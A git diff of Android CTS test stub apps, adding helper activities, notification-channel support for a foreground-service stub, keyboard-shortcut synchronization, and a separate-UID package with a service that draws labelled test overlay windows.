diff --git a/tests/app/app/src/android/app/stubs/FragmentResultActivity.java b/tests/app/app/src/android/app/stubs/FragmentResultActivity.java
new file mode 100644
index 0000000..364d093
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/FragmentResultActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * A simple Activity used to return a result.
+ */
+public class FragmentResultActivity extends Activity {
+    public static final String EXTRA_RESULT_CODE = "result";
+    public static final String EXTRA_RESULT_CONTENT = "result_content";
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        int resultCode = getIntent().getIntExtra(EXTRA_RESULT_CODE, Activity.RESULT_OK);
+        String result = getIntent().getStringExtra(EXTRA_RESULT_CONTENT);
+        Intent intent = new Intent();
+        intent.putExtra(EXTRA_RESULT_CONTENT, result);
+        setResult(resultCode, intent);
+        finish();
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/FragmentTestActivity.java b/tests/app/app/src/android/app/stubs/FragmentTestActivity.java
index a421895..a5f54bc 100644
--- a/tests/app/app/src/android/app/stubs/FragmentTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/FragmentTestActivity.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.app.Fragment;
 import android.content.Context;
+import android.content.Intent;
 import android.os.Bundle;
 import android.transition.Transition;
 import android.transition.Transition.TransitionListener;
diff --git a/tests/app/app/src/android/app/stubs/InstrumentationTestActivity.java b/tests/app/app/src/android/app/stubs/InstrumentationTestActivity.java
index 495bae2..82f7b71 100644
--- a/tests/app/app/src/android/app/stubs/InstrumentationTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/InstrumentationTestActivity.java
@@ -33,6 +33,8 @@
 
 public class InstrumentationTestActivity extends Activity {
 
+    public static final String START_INTENT = "android.app.stubs.activity.INSTRUMENTATION_TEST";
+
     private boolean mOnCreateCalled;
     private boolean mOnDestroyCalled ;
     private boolean mOnNewIntentCalled;
diff --git a/tests/app/app/src/android/app/stubs/IntentServiceStub.java b/tests/app/app/src/android/app/stubs/IntentServiceStub.java
index 626e464..65e9b2a 100644
--- a/tests/app/app/src/android/app/stubs/IntentServiceStub.java
+++ b/tests/app/app/src/android/app/stubs/IntentServiceStub.java
@@ -18,10 +18,11 @@
 
 import android.app.IntentService;
 import android.content.Intent;
-import android.cts.util.PollingCheck;
 import android.os.Binder;
 import android.os.IBinder;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 public class IntentServiceStub extends IntentService {
     public IntentServiceStub() {
         super("IntentServiceStub");
diff --git a/tests/app/app/src/android/app/stubs/KeyboardShortcutsActivity.java b/tests/app/app/src/android/app/stubs/KeyboardShortcutsActivity.java
index dd9d1dc..c8df20b 100644
--- a/tests/app/app/src/android/app/stubs/KeyboardShortcutsActivity.java
+++ b/tests/app/app/src/android/app/stubs/KeyboardShortcutsActivity.java
@@ -17,16 +17,81 @@
 package android.app.stubs;
 
 import android.app.Activity;
+import android.view.KeyboardShortcutGroup;
 import android.view.Menu;
 
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
 public class KeyboardShortcutsActivity extends Activity {
 
     public static final String ITEM_1_NAME = "item 1";
     public static final char ITEM_1_SHORTCUT = 'i';
+    private boolean mOnProvideKeyboardShortcutsCalled;
+    private final Lock mLock = new ReentrantLock();
+    private final Condition mSignalOnProvideKeyboardShortcuts  = mLock.newCondition();
+    private final Condition mSignalOnActivityDeFocused = mLock.newCondition();
 
     @Override
     public boolean onCreateOptionsMenu(Menu menu) {
         menu.add(ITEM_1_NAME).setAlphabeticShortcut(ITEM_1_SHORTCUT);
         return true;
     }
+
+    public void waitForMenuToBeOpen() throws InterruptedException {
+        boolean stillWaiting = true;
+        while (hasWindowFocus() && stillWaiting) {
+            mLock.lock();
+            try {
+                stillWaiting = mSignalOnActivityDeFocused.await(10, TimeUnit.SECONDS);
+            } finally {
+                mLock.unlock();
+            }
+        }
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (!hasFocus) {
+            mLock.lock();
+            try {
+                mSignalOnActivityDeFocused.signal();
+            } finally {
+                mLock.unlock();
+            }
+        }
+        super.onWindowFocusChanged(hasFocus);
+    }
+
+    public void waitForKeyboardShortcutsToBeRequested() throws InterruptedException {
+        boolean stillWaiting = true;
+        while (!onProvideKeyboardShortcutsCalled() && stillWaiting) {
+            mLock.lock();
+            try {
+                stillWaiting = mSignalOnProvideKeyboardShortcuts.await(10, TimeUnit.SECONDS);
+            } finally {
+                mLock.unlock();
+            }
+        }
+    }
+
+    @Override
+    public void onProvideKeyboardShortcuts(
+            List<KeyboardShortcutGroup> data, Menu menu, int deviceId) {
+        mOnProvideKeyboardShortcutsCalled = true;
+        mLock.lock();
+        try {
+            mSignalOnProvideKeyboardShortcuts.signal();
+        } finally {
+            mLock.unlock();
+        }
+        super.onProvideKeyboardShortcuts(data, menu, deviceId);
+    }
+
+    public boolean onProvideKeyboardShortcutsCalled() {
+        return mOnProvideKeyboardShortcutsCalled;
+    }
 }
diff --git a/tests/app/app/src/android/app/stubs/LocalActivityManagerTestHelper.java b/tests/app/app/src/android/app/stubs/LocalActivityManagerTestHelper.java
index 8e28ee4..1ab931d 100644
--- a/tests/app/app/src/android/app/stubs/LocalActivityManagerTestHelper.java
+++ b/tests/app/app/src/android/app/stubs/LocalActivityManagerTestHelper.java
@@ -21,10 +21,11 @@
 import android.app.ActivityGroup;
 import android.app.LocalActivityManager;
 import android.content.Intent;
-import android.cts.util.CTSResult;
 import android.os.Bundle;
 import android.view.Window;
 
+import com.android.compatibility.common.util.CTSResult;
+
 public class LocalActivityManagerTestHelper extends ActivityGroup {
 
     public static final String ACTION_DISPATCH_RESUME = "dispatchResume";
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundService.java b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
index 119b9f8..d60a1df 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundService.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
@@ -17,43 +17,60 @@
 package android.app.stubs;
 
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
-import android.cts.util.IBinderParcelable;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.util.Log;
 import android.app.stubs.R;
 
+import com.android.compatibility.common.util.IBinderParcelable;
+
 public class LocalForegroundService extends LocalService {
 
     private static final String TAG = "LocalForegroundService";
     private static final String EXTRA_COMMAND = "LocalForegroundService.command";
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
 
     public static final int COMMAND_START_FOREGROUND = 1;
     public static final int COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION = 2;
     public static final int COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION = 3;
     public static final int COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION = 4;
     public static final int COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION_USING_FLAGS = 5;
+    public static final int COMMAND_START_NO_FOREGROUND = 6;
 
     private int mNotificationId = 0;
 
     @Override
+    public void onCreate() {
+        super.onCreate();
+        Log.d(TAG, "service created: " + this + " in " + android.os.Process.myPid());
+    }
+
+    @Override
     public void onStart(Intent intent, int startId) {
-        super.onStart(intent, startId);
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
 
         Context context = getApplicationContext();
         int command = intent.getIntExtra(EXTRA_COMMAND, -1);
 
+        Log.d(TAG, "service start cmd " + command + ", intent " + intent);
+
         switch (command) {
             case COMMAND_START_FOREGROUND:
                 mNotificationId ++;
                 Log.d(TAG, "Starting foreground using notification " + mNotificationId);
-                Notification notification = new Notification.Builder(context)
-                        .setContentTitle(getNotificationTitle(mNotificationId))
-                        .setSmallIcon(R.drawable.black)
-                        .build();
+                Notification notification =
+                        new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+                                .setContentTitle(getNotificationTitle(mNotificationId))
+                                .setSmallIcon(R.drawable.black)
+                                .build();
                 startForeground(mNotificationId, notification);
                 break;
             case COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION:
@@ -72,9 +89,22 @@
                 Log.d(TAG, "Detaching foreground service notification");
                 stopForeground(Service.STOP_FOREGROUND_DETACH);
                 break;
+            case COMMAND_START_NO_FOREGROUND:
+                Log.d(TAG, "Starting without calling startForeground()");
+                break;
             default:
                 Log.e(TAG, "Unknown command: " + command);
         }
+
+        // Do parent's onStart at the end, so we don't race with the test code waiting for us to
+        // execute.
+        super.onStart(intent, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "service destroyed: " + this + " in " + android.os.Process.myPid());
+        super.onDestroy();
     }
 
     public static Bundle newCommand(IBinder stateReceiver, int command) {
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index 01e098b..f0624b2 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -18,12 +18,13 @@
 
 import android.app.Service;
 import android.content.Intent;
-import android.cts.util.IBinderParcelable;
 import android.os.Binder;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.RemoteException;
 
+import com.android.compatibility.common.util.IBinderParcelable;
+
 public class LocalService extends Service {
     public static final String SERVICE_LOCAL =
             "android.app.cts.activity.SERVICE_LOCAL";
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
new file mode 100644
index 0000000..4a04861
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class MaxAspectRatioActivity extends Activity {
+
+}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
new file mode 100644
index 0000000..da1c605
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class MaxAspectRatioResizeableActivity extends Activity {
+
+}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
new file mode 100644
index 0000000..06e4994
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class MaxAspectRatioUnsetActivity extends Activity {
+
+}
diff --git a/tests/app/app/src/android/app/stubs/MockTabActivity.java b/tests/app/app/src/android/app/stubs/MockTabActivity.java
index 247cfe0..722ac69 100644
--- a/tests/app/app/src/android/app/stubs/MockTabActivity.java
+++ b/tests/app/app/src/android/app/stubs/MockTabActivity.java
@@ -40,7 +40,7 @@
         final TabHost tabHost = getTabHost();
 
         tabHost.addTab(tabHost.newTabSpec(TAB1).setIndicator(TAB1)
-                .setContent(new Intent(this, ChildTabActivity.class)));
+                .setContent(new Intent(this, MockActivity.class)));
 
         tabHost.addTab(tabHost.newTabSpec(TAB2).setIndicator(TAB2)
                 .setContent(new Intent(this, MockActivity.class)));
diff --git a/tests/app/app/src/android/app/stubs/NewDocumentTestActivity.java b/tests/app/app/src/android/app/stubs/NewDocumentTestActivity.java
new file mode 100644
index 0000000..b12d969
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/NewDocumentTestActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class NewDocumentTestActivity extends Activity {
+    public static final String NOTIFY_RESUME = "android.app.stubs.NOTIFY_RESUME";
+    public static final String NOTIFY_NEW_INTENT = "android.app.stubs.NOTIFY_NEW_INTENT";
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        sendBroadcast(new Intent(NOTIFY_RESUME));
+    }
+
+    @Override
+    public void onNewIntent(Intent intent) {
+        sendBroadcast(new Intent(NOTIFY_NEW_INTENT));
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 4ff3fcb..645a7ad 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -49,6 +49,20 @@
         changeOrientation(activity, instrumentation, originalOrientation);
     }
 
+    /**
+     * Switches the device's orientation from landscape to portrait or portrait to landscape.
+     *
+     * @param activity whose orientation will be changed.
+     * @param instrumentation use for idle syncing
+     */
+    public static void switchOrientation(final Activity activity, Instrumentation instrumentation) {
+        final int originalOrientation = activity.getResources().getConfiguration().orientation;
+        final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+                ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+                : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+        changeOrientation(activity, instrumentation, newOrientation);
+    }
+
     private static void changeOrientation(final Activity activity,
             Instrumentation instrumentation, final int orientation) {
         activity.setRequestedOrientation(orientation);
diff --git a/tests/app/app/src/android/app/stubs/PipNotResizeableActivity.java b/tests/app/app/src/android/app/stubs/PipNotResizeableActivity.java
deleted file mode 100644
index 7ed1acc..0000000
--- a/tests/app/app/src/android/app/stubs/PipNotResizeableActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class PipNotResizeableActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/SearchManagerStubActivity.java b/tests/app/app/src/android/app/stubs/SearchManagerStubActivity.java
index d6eb968..eee4f09 100644
--- a/tests/app/app/src/android/app/stubs/SearchManagerStubActivity.java
+++ b/tests/app/app/src/android/app/stubs/SearchManagerStubActivity.java
@@ -20,12 +20,13 @@
 import android.app.SearchManager;
 import android.content.ComponentName;
 import android.content.Context;
-import android.cts.util.CTSResult;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Message;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CTSResult;
+
 public class SearchManagerStubActivity extends Activity {
 
     private static final String TAG = "SearchManagerStubActivity";
diff --git a/tests/app/app/src/android/app/stubs/ToolbarActivity.java b/tests/app/app/src/android/app/stubs/ToolbarActivity.java
new file mode 100644
index 0000000..3dbf2fe
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/ToolbarActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.Toolbar;
+
+public class ToolbarActivity extends Activity {
+    private Toolbar mToolbar;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.toolbar_activity);
+        mToolbar = (Toolbar) findViewById(R.id.toolbar);
+        setActionBar(mToolbar);
+    }
+
+    public Toolbar getToolbar() {
+        return mToolbar;
+    }
+}
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
new file mode 100644
index 0000000..794c689
--- /dev/null
+++ b/tests/app/app2/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+    ../app/src/android/app/stubs/LocalService.java \
+    $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsAppTestStubsDifferentUid
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/app2/AndroidManifest.xml b/tests/app/app2/AndroidManifest.xml
new file mode 100644
index 0000000..8c30996
--- /dev/null
+++ b/tests/app/app2/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.app2">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application>
+        <service android:name="android.app.stubs.LocalService"
+                 android:exported="true"/>
+        <service android:name=".AlertWindowService"
+                 android:exported="true"/>
+    </application>
+</manifest>
diff --git a/tests/app/app2/src/com/android/app2/AlertWindowService.java b/tests/app/app2/src/com/android/app2/AlertWindowService.java
new file mode 100644
index 0000000..a514e8a
--- /dev/null
+++ b/tests/app/app2/src/com/android/app2/AlertWindowService.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.app2;
+
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Point;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import java.util.LinkedList;
+
+import static android.graphics.Color.BLUE;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+/** Service for creating and managing alert windows. */
+public class AlertWindowService extends Service {
+
+    private static final String TAG = "AlertWindowService";
+    private static final boolean DEBUG = false;
+
+    public static final int MSG_ADD_ALERT_WINDOW = 1;
+    public static final int MSG_REMOVE_ALERT_WINDOW = 2;
+    public static final int MSG_REMOVE_ALL_ALERT_WINDOWS = 3;
+
+    public static String NOTIFICATION_MESSENGER_EXTRA =
+            "com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA";
+    public static final int MSG_ON_ALERT_WINDOW_ADDED = 4;
+    public static final int MSG_ON_ALERT_WINDOW_REMOVED = 5;
+
+    private LinkedList<View> mAlertWindows = new LinkedList<>();
+
+    private Messenger mOutgoingMessenger = null;
+    private final Messenger mIncomingMessenger = new Messenger(new IncomingHandler());
+
+    private class IncomingHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case MSG_ADD_ALERT_WINDOW:
+                    addAlertWindow();
+                    break;
+                case MSG_REMOVE_ALERT_WINDOW:
+                    removeAlertWindow();
+                    break;
+                case MSG_REMOVE_ALL_ALERT_WINDOWS:
+                    removeAllAlertWindows();
+                    break;
+                default:
+                    super.handleMessage(msg);
+            }
+        }
+    }
+
+    private void addAlertWindow() {
+        final Point size = new Point();
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.getDefaultDisplay().getSize(size);
+
+        final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                TYPE_APPLICATION_OVERLAY,
+                FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
+        params.width = size.x / 3;
+        params.height = size.y / 3;
+        params.gravity = TOP | LEFT;
+
+        final TextView view = new TextView(this);
+        view.setText("AlertWindowService" + mAlertWindows.size());
+        view.setBackgroundColor(BLUE);
+        wm.addView(view, params);
+        mAlertWindows.add(view);
+
+        if (DEBUG) Log.e(TAG, "addAlertWindow " + mAlertWindows.size());
+        if (mOutgoingMessenger != null) {
+            try {
+                mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_ADDED));
+            } catch (RemoteException e) {
+
+            }
+        }
+    }
+
+    private void removeAlertWindow() {
+        if (mAlertWindows.size() == 0) {
+            return;
+        }
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.removeView(mAlertWindows.pop());
+
+        if (DEBUG) Log.e(TAG, "removeAlertWindow " + mAlertWindows.size());
+        if (mOutgoingMessenger != null) {
+            try {
+                mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_REMOVED));
+            } catch (RemoteException e) {
+
+            }
+        }
+    }
+
+    private void removeAllAlertWindows() {
+        while (mAlertWindows.size() > 0) {
+            removeAlertWindow();
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (DEBUG) Log.e(TAG, "onBind");
+        mOutgoingMessenger = intent.getParcelableExtra(NOTIFICATION_MESSENGER_EXTRA);
+        return mIncomingMessenger.getBinder();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        if (DEBUG) Log.e(TAG, "onUnbind");
+        removeAllAlertWindows();
+        return super.onUnbind(intent);
+    }
+}
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
new file mode 100644
index 0000000..64eda91
--- /dev/null
+++ b/tests/app/appSdk25/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := 25
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/appSdk25/AndroidManifest.xml b/tests/app/appSdk25/AndroidManifest.xml
new file mode 100755
index 0000000..f564f51
--- /dev/null
+++ b/tests/app/appSdk25/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.appSdk25">
+
+    <application android:label="CtsAppTestSdk25">
+        <activity android:name=".Sdk25MaxAspectRatioActivity"
+                  android:label="Sdk25MaxAspectRatioActivity"
+                  android:resizeableActivity="false"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java b/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
new file mode 100644
index 0000000..7fa25e0
--- /dev/null
+++ b/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.appSdk25;
+
+import android.app.Activity;
+
+public class Sdk25MaxAspectRatioActivity extends Activity {
+
+}
